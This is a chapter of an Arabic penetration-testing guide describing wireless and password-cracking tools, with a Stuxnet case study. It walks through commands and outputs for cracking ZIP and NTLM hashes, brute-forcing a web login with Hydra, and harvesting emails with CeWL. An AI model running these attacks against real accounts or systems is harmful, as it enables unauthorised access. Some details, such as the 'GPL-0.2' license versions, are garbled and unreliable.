أنظمة التشغيل	Linux, Windows, macOS, Android, ARM
التكلفة	مجاني
نوع الترخيص	GPL-0.3 License

خصائص أداة Bettercap

تحميل: https://www.bettercap.org

٩.٦ Aircrack-ng

نستعرض الآن للأداة الكلاسيكية والمرجع الأول في عالم اختبار أمان الشبكات اللاسلكية، وهي Aircrack-ng. بكل آمانة هذه ليست مجرد أداة واحدة، بل هي حقيبة أدوات كاملة (Suite) متخصصة في فحص أمان شبكات الواي فاي من الألف إلى الياء.

ببساطة، الأداة تعطيك القدرة الكاملة للتحكم في بطاقة الشبكة اللاسلكية. تبدأ العملية عادة باستخدام airmon-ng لتحويل البطاقة إلى وضع المراقبة (Monitor Mode) والاستماع لكل ما يدور في الهواء، ثم تستخدم airodump-ng لالتقاط الحزم وتحديد الهدف. والشيء المهم هو أداة aireplay-ng التي تمكنك من حقن حزم وفصل المتصلين عن الشبكة عمداً لإجبارهم على إعادة الاتصال والتقاط المصافحة (WPA/WPA2 Handshake) المشفرة. وفي النهاية يأتي دور aircrack-ng لكسر هذا التشفير. باختصار، أي شخص يريد تعلم اختبار أمان الشبكات اللاسلكية، يجب أن يبدأ من هذه الأدوات أولاً.

الخاصية	القيمة
مستوى المهارة المطلوب	متوسط إلى متقدم
أنظمة التشغيل	Linux, Windows, macOS, BSD
التكلفة	مجاني
نوع الترخيص	GPL-0.2 License

خصائص أداة Aircrack-ng

تحميل: https://www.aircrack-ng.org

١٠.٦ Kismet

هذه الأداة تعتبر الشبح في عالم الشبكات اللاسلكية. ميزتها الكبرى والأساسية أنها تعمل بوضع سلبي (Passive) بالكامل، يعني لا ترسل أي بايت للهواء، بل تستمع وتسجل فقط. هذا يجعل اكتشاف وجودك شبه مستحيل من قبل أنظمة الحماية، لأنك ببساطة غير موجود بالنسبة لهم.

والشيء المميز فيها أنها تكشف لك كل ما يدور في الجو من الشبكات الا سلكية المخفية (Hidden SSIDs)، أجهزة البلوتوث، وحتى إشارات الراديو عبر SDR (Software Defined Radio). وتتميز بدعمها لربط GPS، يعني أثناء تحركك بالسيارة (أو ما يسمى Wardriving) فهي ترسم لك خريطة دقيقة لمواقع الشبكات جغرافياً. ومع الواجهة الحديثة القائمة على المتصفح، أصبح تحليل البيانات وعرض الأجهزة المتصلة أسهل وأوضح بمراحل.

الخاصية	القيمة
مستوى المهارة المطلوب	متوسط إلى متقدم
أنظمة التشغيل	Linux, macOS, BSD
التكلفة	مجاني
نوع الترخيص	GPL-0.2 License

خصائص أداة Kismet

تحميل: https://www.kismetwireless.net

خاتمة القسم: أمن الشبكات

إن الدرس الأعمق الذي نتعلمه من أدوات أمن الشبكات يتجاوز مجرد حماية البيانات. في عالم اليوم، أصبحت الشبكات هي الجهاز العصبي الذي يتحكم في بنيتنا التحتية الحيوية، من محطات الطاقة إلى أنظمة المياه. هنا، لا يصبح الاختراق مجرد سرقة معلومات، بل يمكن أن يؤدي إلى كارثة مادية. مثلاً دودة Stuxnet التي تم اكتشافها في عام 2010 لم تكن مجرد برمجية خبيثة، بل كانت سلاحاً سيبرانياً هو الأول من نوعه مصمم لإحداث ضرر مادي في العالم الحقيقي. كان هدفها المحدد هو أجهزة التحكم المنطقي القابلة للبرمجة (PLCs) من نوع Siemens S7-300 المستخدمة في برنامج إيران النووي. بعد أن دخلت إلى الشبكة المعزولة عبر وسائط USB، استخدمت Stuxnet ثغرة في خدمة Windows Print Spooler (MS10-061) للتحرك جانبياً عبر الشبكة الداخلية.

الجزء الأكثر عبقرية وخطورة كان في كيفية إخفاء نشاطها على الشبكة. كانت تقوم بإعادة برمجة أجهزة الطرد المركزي لتدمير نفسها، وفي نفس الوقت، تقوم بإرسال بيانات تشغيل طبيعية إلى أنظمة المراقبة لخداع المهندسين وجعلهم يعتقدون أن كل شيء على ما يرام. هنا تظهر القيمة الحقيقية للأدوات في هذا القسم:

- Wireshark يستخدم لاكتشاف وجود حركة مرور غير طبيعية على البروتوكول الخاص بـ Siemens S7 (المنفذ 102/TCP)، وكان سيلاحظ الأوامر الخبيثة التي يتم إرسالها إلى أجهزة PLC، والتي تختلف عن حركة المرور العادية.

- نظام مثل Snort أو Suricata، لو تم تزويده بقواعد متخصصة لبيئات ICS، كان سيكشف عن محاولات استغلال ثغرة Print Spooler أثناء انتشار الدودة داخل الشبكة.

- أداة مثل Zeek كانت ستوفر سجلاً تاريخياً لكل الاتصالات، مظهرةً نمطاً غريباً من الاتصالات بين محطات عمل عادية وأجهزة تحكم صناعية حساسة، وهو ما كان يجب أن يثير الشكوك فوراً.

أنا أؤمن بأن قصة Stuxnet تعلمنا أن مسؤوليتنا كخبراء أمن شبكات لم تعد تقتصر على حماية البيانات، بل امتدت لتشمل حماية العالم المادي. إتقان هذه الأدوات لا يتعلق فقط بفهم بروتوكولات TCP/IP، بل بفهم السياق الذي تعمل فيه هذه البروتوكولات. إنه يمنحنا الرؤية اللازمة ليس فقط لمنع سرقة الأسرار، بل لمنع وقوع الكوارث.

في النهاية، حماية الشبكات تمنحنا القدرة على رؤية الهجمات وهي تتحرك داخل البنى التحتية ومحاولة إيقافها قبل أن تتحول إلى كوارث حقيقية. لكن في أحيان كثيرة، لا يحتاج المهاجم إلى التحايل على الشبكات أو كسر الأنظمة المتقدمة، يكفيه الوصول إلى هوية رقمية موثوقة ليعبر كل الدفاعات دون أن يُلاحظ. هنا ننتقل من عالم حزم البيانات والبروتوكولات إلى عالم الهوية والثقة. وهنا يبدأ فصل آخر من المعركة، فصل كلمات المرور والمصادقة، حيث لا يهاجم المهاجم الأسلاك والخوادم، بل يهاجم الإنسان نفسه وعاداته الرقمية.

٧ كلمات المرور والمصادقة

في بنية الأمن الرقمي، تمثل المصادقة القائمة على كلمات المرور تحدياً قديماً ومتجدداً، ونقطة ضعف متأصلة تنبع من الصراع الأزلي بين متطلبات الأمان وسهولة الاستخدام. فبينما تطورت أنظمة الكشف والمنع لتصبح أكثر تعقيداً، لا يزال ناقل الهجوم (Attack Vector) الأبسط والأكثر فعالية غالباً هو بيانات الاعتماد المخترقة. إنها ليست مجرد مفاتيح، بل هي تمثيل رمزي للهوية الرقمية، وإذا تمكن المهاجم من الحصول عليها، فإنه لا يكسر المحيط الدفاعي، بل يدخل من الباب الأمامي ككيان موثوق به، متجاوزاً بذلك العديد من طبقات الحماية المعقدة.

في عام 2012 تم اختراق شبكة LinkedIn في البداية، بدا الأمر بسيطاً تم تسريب ما يقارب 5.6 مليون هاش (hash) لكلمات مرور المستخدمين. لكن الكارثة الحقيقية كانت الهاشات من نوع SHA-1 بدون ملح (salt). هذا يعني أن كل كلمات المرور المتطابقة (مثل 12345) سيكون لها نفس الهاش، مما يجعل عملية كسرها باستخدام جداول قوس قزح (Rainbow Tables) سريعة بشكل مذهل.

لكن القصة لم تنته هنا ففي عام 2016 ظهرت الحقيقة الكاملة لم يكن التسريب 5.6 مليون حساب، بل أكثر من 117 مليون حساب مع كلمات المرور الخاصة بهم. هذا التسريب الضخم لم يؤثر على LinkedIn فقط، بل أطلق العنان لموجة عالمية من هجمات حشو بيانات الاعتماد (Credential Stuffing)، حيث استخدم المهاجمون قوائم البريد الإلكتروني وكلمات المرور المسربة من LinkedIn لاختبارها على آلاف المواقع الأخرى، مستغلين حقيقة أن الناس يعيدون استخدام نفس كلمة المرور في كل مكان.

هل تعلم أن بطاقة رسومات حديثة واحدة (مثل NVIDIA RTX 4090) يمكنها، باستخدام أداة مثل Hashcat، اختبار أكثر من 100 مليار تخمين في الثانية ضد هاش NTLM الخاص بنظام Windows يمكن كسرها في أقل من 6 ساعات.

قصة LinkedIn وهذه الحقيقة المذهلة تعلمنا درساً حاسماً أن الدفاع عن كلمات المرور لا يقتصر على اختيار كلمة مرور قوية، بل يمتد إلى كيفية تخزينها وحمايتها. الأدوات في هذا الفصل، مثل Hashcat و John the Ripper، تسمح لنا بمحاكاة قوة المهاجم وتنفيذ هجمات كسر الهاشات دون اتصال بالإنترنت (Offline Hash Cracking). وبالمقابل، أدوات مثل Hydra تمكننا من اختبار مرونة أنظمة تسجيل الدخول الحية ضد هجمات القوة الغاشمة عبر الإنترنت (Online Brute-Force Attacks). إن فهم كيفية عمل كلا النوعين من هذه الأدوات الهجومية هو الخطوة الأولى والأساسية لبناء دفاعات قوية حقاً.

١.٧ John the Ripper

نصل الآن للأداة العريقة والشهيرة باسم John the Ripper. بكل صراحة هذه الأداة تعتبر الأب الروحي لكسر كلمات المرور، وموجودة منذ عام 1996 ولا تزال تتطور وتُستخدم بقوة حتى اليوم. ميزتها الكبيرة والأساسية أنها تعمل بكفاءة عالية على المعالج (CPU) وتدعم مئات أنواع التشفير والهاشات، يعني لديك ملف كلمات مرور من لينكس أو ويندوز؟ جون هو الحل المباشر.

الشيء المميز في هذه الأداة هو قدرتها على دمج طرق هجوم مختلفة بمرونة عالية. يعني تستطيع البدء بهجوم القاموس

(Dictionary Attack) باستخدام قوائم كلمات جاهزة، أو استخدام وضع القوة الغاشمة (Brute Force) لتجربة كل الاحتمالات، لكن الأهم هو وضع التخمين الذكي (Incremental Mode) الذي يحاول التنبؤ بكلمة المرور بناءً على أنماط البشر في الكتابة. باختصار، هي أداة لا غنى عنها لأي مختبر اختراق، وتعتبر المعيار الذهبي لاختبار قوة كلمات المرور في المؤسسات.

الخاصية	القيمة
مستوى المهارة المطلوب	متوسط إلى متقدم
أنظمة التشغيل	Linux, Windows, macOS, BSD, Unix
التكلفة	مجاني / مدفوع
نوع الترخيص	GPL-0.2 License

خصائص أداة John the Ripper

مثال عملي: استخراج الهاش من ملف مضغوط (ZIP) ثم كسره باستخدام تقنية القناع (Mask Attack) لاستهداف الأرقام:

```
zip2john ChristmasGIFts_123456.zip > numeric_hash.txt
john --mask=?d?d?d?d?d?d numeric_hash.txt
```

شرح المثال: واقع الأمر أن هذه العملية تبدأ بتحويل الملف المشفر إلى هاش يمكن للبرنامج فهمه عبر أداة مساعدة تسمى zip2john. الميزة الفعالة هنا هي إمكانية توجيه المحرك للبحث عن نمط محدد عبر خيار القناع، وفي هذه الحالة تم تحديد البحث عن ستة أرقام متتالية (?d)، مما يسرع عملية العثور على كلمة المرور الصحيحة بشكل ملحوظ بدلاً من تجربة كافة الاحتمالات العشوائية.

المخرجات:

```
  (yaser CyberBookio)-[~/john-samples/ZIP]
 $ john my_zip_hash.txt
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Will run 2 OpenMP threads
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
```

```
testpassword#    (winzip-zip2-testpassword#.zip/test.txt)
1g 0:00:00:00 DONE 1/3 (2025-12-27 14:28) 100.0g/s 510200p/s 510200c/s 510200C/s zip2
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

  (yaser CyberBookio)-[~/john-samples/ZIP]
 $ zip2john ChristmasGIFts_123456.zip > numeric_hash.txt
ver 1.0 Scanning for EOD... FOUND Extended local header
ChristmasGIFts_123456.zip/bin/ PKZIP Encr: 2b chk, TS_chk, cmplen=12, decmplen=0, crc
Skipping short file bin/
ver 2.0 ChristmasGIFts_123456.zip/bin/com.asm PKZIP Encr: TS_chk, cmplen=490, decmple
ver 2.0 ChristmasGIFts_123456.zip/bin/elf.asm PKZIP Encr: TS_chk, cmplen=1296, decmpl
ver 2.0 ChristmasGIFts_123456.zip/bin/macho.asm PKZIP Encr: TS_chk, cmplen=1283, decm
ver 1.0 ** 2b ** ChristmasGIFts_123456.zip/bin/simple.com PKZIP Encr: TS_chk, cmplen=
ver 2.0 ChristmasGIFts_123456.zip/bin/simple.elf PKZIP Encr: TS_chk, cmplen=164, decm
ver 2.0 ChristmasGIFts_123456.zip/bin/simple.macho PKZIP Encr: TS_chk, cmplen=148, de
ver 2.0 ChristmasGIFts_123456.zip/bin/simple.pdf PKZIP Encr: TS_chk, cmplen=339, decm
ver 2.0 ChristmasGIFts_123456.zip/bin/pe.asm PKZIP Encr: TS_chk, cmplen=2198, decmple
ver 2.0 ChristmasGIFts_123456.zip/bin/simple.exe PKZIP Encr: TS_chk, cmplen=252, decm
ver 2.0 ChristmasGIFts_123456.zip/bin/class.asm PKZIP Encr: TS_chk, cmplen=976, decmp
ver 2.0 ChristmasGIFts_123456.zip/bin/simple.class PKZIP Encr: TS_chk, cmplen=216, de
ver 2.0 ChristmasGIFts_123456.zip/bin/bin.sha PKZIP Encr: TS_chk, cmplen=243, decmple
ver 2.0 ChristmasGIFts_123456.zip/bin/zip.asm PKZIP Encr: TS_chk, cmplen=913, decmple
ver 2.0 ChristmasGIFts_123456.zip/bin/simple.zip PKZIP Encr: TS_chk, cmplen=76, decmp
ver 2.0 ChristmasGIFts_123456.zip/p0-cover.gif PKZIP Encr: TS_chk, cmplen=168366, dec
ver 2.0 ChristmasGIFts_123456.zip/p1-PE.gif PKZIP Encr: TS_chk, cmplen=926520, decmpl
ver 2.0 ChristmasGIFts_123456.zip/p2-COM.gif PKZIP Encr: TS_chk, cmplen=268884, decmp
ver 2.0 ChristmasGIFts_123456.zip/p3-ELF.gif PKZIP Encr: TS_chk, cmplen=742451, decmp
ver 2.0 ChristmasGIFts_123456.zip/p4-Mach-O.gif PKZIP Encr: TS_chk, cmplen=729009, de
ver 2.0 ChristmasGIFts_123456.zip/p5-Class.gif PKZIP Encr: TS_chk, cmplen=599505, dec
ver 2.0 ChristmasGIFts_123456.zip/p6-PDF.gif PKZIP Encr: TS_chk, cmplen=339756, decmp
ver 2.0 ChristmasGIFts_123456.zip/p7-ZIP.gif PKZIP Encr: TS_chk, cmplen=384603, decmp
```

```
NOTE: It is assumed that all files in each archive have the same password.
If that is not the case, the hash may be uncrackable. To avoid this, use
option -o to pick a file at a time.

  (yaser CyberBookio)-[~/john-samples/ZIP]
 $ john --mask=?d?d?d?d?d?d numeric_hash.txt
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
123456           (ChristmasGIFts_123456.zip)
1g 0:00:00:00 DONE (2025-12-27 14:29) 33.33g/s 30583Kp/s 30583Kc/s 30583KC/s 657086..
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

  (yaser CyberBookio)-[~/john-samples/ZIP]
```

تحميل: https://www.openwall.com/john/

٢.٧ Hashcat

أداة Hashcat تعتبر وحش كسر كلمات المرور وبدون مبالغة هي الأسرع في العالم. السر في هذه الأداة وقوتها الجبارة أنها لا تعتمد على المعالج العادي (CPU) مثل الأدوات القديمة، بل تعتمد بشكل أساسي على بطاقة الرسوميات (GPU)، وتدعم أيضاً معالجات OpenCL وCUDA. لماذا؟ لأن بطاقة الرسوميات تحتوي على آلاف الأنوية الصغيرة التي تستطيع معالجة ملايين العمليات الحسابية بشكل متوازٍ في نفس اللحظة، وهذا يجعل عملية تخمين كلمات المرور سريعة جداً مقارنة بأي طريقة أخرى، وتصل لمليارات المحاولات في الثانية الواحدة.

تدعم Hashcat أكثر من 350 نوعاً مختلفاً من خوارزميات التجزئة (Hash Algorithms)، وهذا يجعلها متعددة الاستخدامات بشكل استثنائي. من الهاشات البسيطة مثل MD5 وSHA-1، إلى الخوارزميات المعقدة مثل bcrypt وscrypt وArgon2، وصولاً إلى تشفيرات الأقراص مثل LUKS وVeraCrypt وBitLocker. كما تدعم كسر هاشات الشبكات اللاسلكية WPA/WPA2/WPA3، وهاشات المصادقة في أنظمة التشغيل مثل NTLM وKerberos، وحتى هاشات تطبيقات الويب وقواعد البيانات والمحافظ الإلكترونية للعملات الرقمية.

الحقيقة، Hashcat ليست سريعة فقط، بل هي ذكية جداً وتوفر خمسة أوضاع هجوم رئيسية. الميزة التي تفرق بين الهاوي والمحترف في استخدامها هي محرك القواعد أو Rule-based Attack. الهاوي يحضر ملفاً به كلمات ويجربها،

لكن المحترف يستخدم القواعد ليجعل الأداة تعدل الكلمات تلقائياً، مثلاً تحول password إلى P@ssw0rd123! أو تضيف تواريخ ورموز خاصة، وهذا هو واقع كلمات مرور المستخدمين اليوم. كما تدعم الأداة هجمات Mask Attack التي تسمح لك بتحديد نمط محدد لكلمة المرور (مثلاً: 8 أحرف تبدأ بحرف كبير وتنتهي برقمين)، وهجمات Hybrid التي تجمع بين القاموس والقوة الغاشمة، وحتى Combinator Attack الذي يدمج كلمات من قائمتين مختلفتين.

ميزة أخرى مهمة جداً هي قدرة Hashcat على الاستفادة من بطاقات رسوميات متعددة في نفس الوقت، وهذا يعني أنك تستطيع بناء جهاز تكسير متخصص بـ 4 أو 8 بطاقات رسوميات للحصول على قوة حسابية هائلة. كما تدعم الأداة وضع Benchmark لقياس أداء جهازك مع خوارزميات مختلفة، ووضع Restore لاستئناف العمل إذا توقف الجهاز، ووضع Brain الذي يحفظ كلمات المرور المكتشفة سابقاً لتجنب تكرار العمل. باختصار، إذا لديك بطاقة رسوميات قوية، فهذه الأداة هي سلاحك الأول لاختبار قوة كلمات المرور ولكسر أي هاش يواجهك في عمليات الفحص الأمني.

الخاصية	القيمة
مستوى المهارة المطلوب	متوسط إلى متقدم
أنظمة التشغيل	Linux, Windows, macOS
التكلفة	مجاني
نوع الترخيص	MIT License

خصائص أداة Hashcat

مثال عملي: استخراج هاشات NTLM من ملف SAM ثم كسرها باستخدام هجوم القاموس:

```
cut -d ":" -f 4 scraped.sam > nt_hashes.txt
hashcat -m 1000 -a 0 nt_hashes.txt /usr/share/wordlists/rockyou.txt -o
cracked_passwords.txt --force
```

شرح المثال: واقع الأمر أن هذه العملية تبدأ بتجهيز الهاشات عن طريق عزل الجزء الخاص بـ NTLM من ملف النظام المستخرج. الميزة الفعالة هنا تتمثل في استخدام الخيار `-m 1000` لتحديد نوع التشفير الخاص بنظام ويندوز، والخيار `-a 0` لتفعيل هجوم القاموس باستخدام قائمة الكلمات الشهيرة، مع استخدام الخيار `--force` لتجاوز تحذيرات النظام التشغيلي وضمان البدء الفوري في عملية الكسر.

المخرجات:

```
(yaser CyberBookio)-[~/john-samples/Windows]
$ head scraped.sam
```

```
admin:1:4b369eed4249dfaae5e55d3fd61bc4d6:5b831a4023f73957c5315cae708b6e47:::
Administrator:2:51cd23289304854d22c34254e51bff62:bc23a1506bd3c8d3a533680c516bab27:::
Brian:3:4baae842ecf75103aad3b435b51404ee:89878fc01996b4df7669ec692cb3744f:::
Guest:4:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
HelpAssistant:5:0309786eeb8cdf6a6a62f2614261da66:05d4510dad0eab37cd4a42ec44ef496d:::
Peter:6:50e74e91218e88a1aad3b435b51404ee:bb1fb5707a655ca3b98e7c782bafe2fa:::
Rajiv:7:8404b032273a39b3aad3b435b51404ee:e9efa4a1ce401fe44deeaa60225d0662:::
root:8:aad3b435b51404eeaad3b435b51404ee:9facf0875ed57fa244d1670a6c5c7eee:::
Scott:9:e268e05f9ec7a1bcfa1ef9f21b2bcc91:427c547d2b808bd6467662c5f7b5048e:::
Sheldon:10:1cdf7e606dd8b25f33cf30f3ec8c0748:850392ba5818a74d647bc7b4b9d3bf14:::

  (yaser CyberBookio)-[~/john-samples/Windows]
 $ cut -d ":" -f 4 scraped.sam > nt_hashes.txt

  (yaser CyberBookio)-[~/john-samples/Windows]
 $ hashcat -m 1000 -a 0 nt_hashes.txt /usr/share/wordlists/rockyou.txt -o cracked_pas
hashcat (v7.1.2) starting

You have enabled --force to bypass dangerous warnings and errors!
This can hide serious problems and should only be done when debugging.
Do not report hashcat issues encountered when using --force.

OpenCL API (OpenCL 3.0 PoCL 6.0+debian  Linux, None+Asserts, RELOC, SPIR-V, LLVM 18.1
================================================================================
* Device #01: cpu--0x000, 1466/2933 MB (512 MB allocatable), 2MCU

Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256

Hashfile 'nt_hashes.txt' on line 5089 (4C6670AC7ADBF3726F08C5266D7EAC318): Token leng

* Token length exception: 1/6239 hashes
```

```
  This error happens if the wrong hash type is specified, if the hashes are
  malformed, or if input is otherwise not as expected (for example, if the
  --username or --dynamic-x option is used but no username or dynamic-tag is present)

Hashes: 6238 digests; 5294 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1

Optimizers applied:
* Zero-Byte
* Early-Skip
* Not-Salted
* Not-Iterated
* Single-Salt
* Raw-Hash

ATTENTION! Pure (unoptimized) backend kernels selected.
Pure kernels can crack longer passwords, but drastically reduce performance.
If you want to switch to optimized kernels, append -O to your commandline.
See the above message to find out about the exact limits.

Watchdog: Temperature abort trigger set to 90c

INFO: Removed 1977 hashes found as potfile entries.

Host memory allocated for this attack: 512 MB (1457 MB free)

Dictionary cache hit:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344385
* Bytes.....: 139921507
* Keyspace..: 14344385
```

```
Approaching final keyspace - workload adjusted.


Session..........: hashcat
Status...........: Exhausted
Hash.Mode........: 1000 (NTLM)
Hash.Target......: nt_hashes.txt
Time.Started.....: Sat Dec 27 14:37:47 2025, (1 sec)
Time.Estimated...: Sat Dec 27 14:37:48 2025, (0 secs)
Kernel.Feature...: Pure Kernel (password length 0-256 bytes)
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#01........:  8564.5 kH/s (0.11ms) @ Accel:1024 Loops:1 Thr:1 Vec:4
Recovered........: 1982/5294 (37.44%) Digests (total), 5/5294 (0.09%) Digests (new)
Remaining........: 3312 (62.56%) Digests
Recovered/Time...: CUR:N/A,N/A,N/A AVG:N/A,N/A,N/A (Min,Hour,Day)
Progress.........: 14344385/14344385 (100.00%)
Rejected.........: 0/14344385 (0.00%)
Restore.Point....: 14344385/14344385 (100.00%)
Restore.Sub.#01..: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#01...:  kristenanne -> $HEX[042a0337c2a156616d6f732103]
Hardware.Mon.#01.: Util: 71%

Started: Sat Dec 27 14:37:40 2025
Stopped: Sat Dec 27 14:37:49 2025

  (yaser CyberBookio)-[~/john-samples/Windows]
 $ cat cracked_passwords.txt
bca3b4780f550de8298ff32aaa1e8d76:hüseyin
9eaf87b1ae40c81bbaf1177078cb5937:teddybär
```

```
7e834bebdb69a8823d9b95feb9ad824b:löwe
865715b410cddb0a3941ae1003f6f586:döner
08b4f2ec79e6ba72bf75a9547eda7d1d:nürnberg

(yaser CyberBookio)-[~/john-samples/Windows]
```

تحميل: https://hashcat.net/hashcat/

٣.٧ Hydra

نصل الآن لـ Hydra وهي واحدة من عمالقة اختبار الاختراق. إذا كانت Hashcat هي ملكة كسر الهاشات والملفات المغلقة، فإن Hydra هي الملكة بلا منازع في الهجمات المباشرة أونلاين عبر الشبكة. فكرتها ببساطة أنها تحاول الدخول على الخدمات الحية مثل SSH أو FTP أو حتى لوحات تحكم المواقع وتطبيقات الويب باستخدام قوائم جاهزة من أسماء المستخدمين وكلمات المرور.

الشيء المميز في Hydra والميزة التي جعلتها مفضلة عند كل الخبراء هي السرعة والتوازي (Parallel Attack). الأداة لا تجرب كلمة سر واحدة وتنتظر الرد، بل تفتح عشرات الاتصالات في نفس اللحظة وتجربها جميعاً، وهذا يجعل عملية التخمين سريعة جداً مقارنة بأي سكربت بسيط. وفوق هذا، هي تدعم عدداً كبيراً من البروتوكولات (أكثر من 50 بروتوكول) يعني أي خدمة تفكر فيها من RDP للدخول عن بُعد، إلى قواعد البيانات MySQL، إلى البريد الإلكتروني، Hydra تستطيع اختبار أمانها. باختصار، هي الأداة التي تكشف لك هل يستخدم الموظفون كلمات مرور ضعيفة ومشهورة على خوادم المؤسسة الحساسة. ، وبنفس الوقت هي السلاح الذي يمنح المهاجم الدخول الأولي (Initial Access) للسيطرة على الخادم بمجرد كسر كلمة المرور.

الخاصية	القيمة
مستوى المهارة المطلوب	متوسط إلى متقدم
أنظمة التشغيل	Linux, Windows, macOS, FreeBSD
التكلفة	مجاني
نوع الترخيص	AGPL-0.3 License

خصائص أداة Hydra

مثال عملي: كسر كلمة مرور نموذج تسجيل دخول ويب لمستخدم محدد باستخدام قائمة كلمات مرور وتفعيل وضع التفاصيل:

```
hydra -l molly -P molly_pass.txt 10.48.151.241 http-post-form
"/login:username=^USER^&password=^PASS^:F=Login" -V
```

شرح المثال: واقع الأمر أن هذا التنفيذ يستهدف صفحة تسجيل دخول ويب لمستخدم محدد وهو molly. اللمسة الفعالة هنا هي استخدام الخيار `http-post-form` الذي يتطلب تحديد مسار الصفحة وبيانات النموذج وكيفية التعرف على فشل الدخول (`F=Login`)، مع تفعيل الخيار `V-` لمراقبة سير العملية لحظة بلحظة حتى العثور على كلمة المرور الصحيحة.

المخرجات:

```
  (yaser CyberBookio)-[~]
 $ hydra -l molly -P molly_pass.txt 10.48.151.241 http-post-form "/login:username=^US
Hydra v9.6 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in militar

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-12-27 15:35:47
[DATA] max 8 tasks per 1 server, overall 8 tasks, 8 login tries (l:1/p:8), ~1 try per
[DATA] attacking http-post-form://10.48.151.241:80/login:username=^USER^&password=^PA
[ATTEMPT] target 10.48.151.241 - login "molly" - pass "password" - 1 of 8 [child 0] (
[ATTEMPT] target 10.48.151.241 - login "molly" - pass "123456" - 2 of 8 [child 1] (0/
[ATTEMPT] target 10.48.151.241 - login "molly" - pass "admin" - 3 of 8 [child 2] (0/0
[ATTEMPT] target 10.48.151.241 - login "molly" - pass "sunshine" - 4 of 8 [child 3] (
[ATTEMPT] target 10.48.151.241 - login "molly" - pass "qwerty" - 5 of 8 [child 4] (0/
[ATTEMPT] target 10.48.151.241 - login "molly" - pass "Yaser" - 6 of 8 [child 5] (0/0
[ATTEMPT] target 10.48.151.241 - login "molly" - pass "Alosefer" - 7 of 8 [child 6] (
[ATTEMPT] target 10.48.151.241 - login "molly" - pass "" - 8 of 8 [child 7] (0/0)
[80][http-post-form] host: 10.48.151.241   login: molly   password: sunshine
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-12-27 15:35:48

  (yaser CyberBookio)-[~]
 $
```

تحميل: https://github.com/vanhauser-thc/thc-hydra

٤.٧ Medusa

أداة Medusa صُممت لغرض رئيسي وهو السرعة والاستقرار في كسر كلمات المرور عبر الشبكة. ما يميزها هو تصميمها المعياري (Modular)، يعني أن كل بروتوكول (مثل SSH أو FTP أو HTTP) له وحدة مستقلة خاصة به، وهذا يجعلها مرنة جداً وسهلة التطوير.

الشيء المميز في Medusa هو إدارتها الذكية للالمعالجة المتوازية (Parallel Processing) القائمة على المسارات (Thread-based). الأداة قادرة على اختبار مئات كلمات المرور على عدة مضيفين أو مستخدمين في نفس اللحظة وبثبات عالٍ جداً، دون أن تسبب انهياراً للاتصال أو تعليقاً للأداة نفسها. باختصار، إذا كنت تبحث عن الاستقرار أثناء تنفيذ هجمات التخمين على الشبكات المؤسسية، فهذه الأداة هي الخيار الموثوق للمحترفين.

الخاصية	القيمة
مستوى المهارة المطلوب	متوسط إلى متقدم
أنظمة التشغيل	Linux, macOS, BSD, Unix
التكلفة	مجاني
نوع الترخيص	GPL-0.2 License

خصائص أداة Medusa

تحميل: http://www.foofus.net/jmk/medusa/medusa.html

٥.٧ CeWL

هذه الأداة تعتمد على فكرة ذكية وبسيطة في نفس الوقت وهي الهندسة الاجتماعية الآلية. المشكلة في قوائم كلمات المرور الجاهزة أنها عامة جداً، لكن البشر بطبيعتهم يميلون لاستخدام كلمات مرور لها علاقة ببيئة عملهم، أو اسم مؤسستهم، أو منتجاتهم. هنا يأتي دور CeWL لتصنع الفارق.

ببساطة، الأداة عبارة عن عنكبوت (Web Spider) يزحف داخل موقع المؤسسة المستهدفة، ويقرأ كل صفحة، ويستخرج منها كل الكلمات المميزة والفريدة ويحفظها في ملف نصي. هذا الملف يتحول إلى قاموس مخصص (Custom Dictionary) يحتوي على المصطلحات التي يستخدمها موظفو هذه المؤسسة يومياً، مما يرفع نسبة نجاح هجمات التخمين بشكل كبير مقارنة بالقواميس العشوائية. بالإضافة لذلك، هي قادرة على الغوص في عمق الروابط واستخراج بيانات إضافية مثل عناوين البريد الإلكتروني، مما يجعلها أداة أساسية في مرحلة جمع المعلومات وبناء استراتيجية الهجوم.

الخاصية	القيمة
مستوى المهارة المطلوب	مبتدئ إلى متوسط
أنظمة التشغيل	Linux, macOS, Windows (WSL)
التكلفة	مجاني
نوع الترخيص	CC BY-SA 0.3 License

خصائص أداة CeWL

مثال عملي: استخراج الكلمات وعناوين البريد الإلكتروني من المواقع لإنشاء قوائم مخصصة بحد أدنى لطول الكلمة:

```
cewl https://cyberbook.io -d 2 -m 7 -e --email_file cyberbook_emails.txt
-w cyberbook_wordlist.txt
cewl https://www.mailmodo.com -d 2 -m 8 --with-numbers -e --email_file
mailmodo_emails.txt -w mailmodo_wordlist.txt
```

شرح المثال: واقع الأمر أن هذه العملية تتضمن الزحف إلى عمق صفحتين (`-d 2`) واستخراج الكلمات التي يتجاوز طولها سبعة أو ثمانية أحرف. الميزة الفعالة هنا تتمثل في استخدام الخيار `-e` للبحث عن عناوين البريد الإلكتروني وحفظها في ملف منفصل عبر `--email_file`، مع تخزين الكلمات المستخرجة في ملف نصي لاستخدامها لاحقاً في هجمات التخمين، كما يمكن دمج الأرقام الموجودة في المحتوى عبر الخيار `--with-numbers`.

المخرجات:

```
  (yaser CyberBookio)-[~]
 $ cewl https://cyberbook.io -d 2 -m 7 -e --email_file cyberbook_emails.txt -w cyberb
CeWL 6.2.1 (More Fixes) Robin Wood (robin@digi.ninja) (https://digi.ninja/)

  (yaser CyberBookio)-[~]
 $ head -n 10 cyberbook_wordlist.txt
```

```
security
```

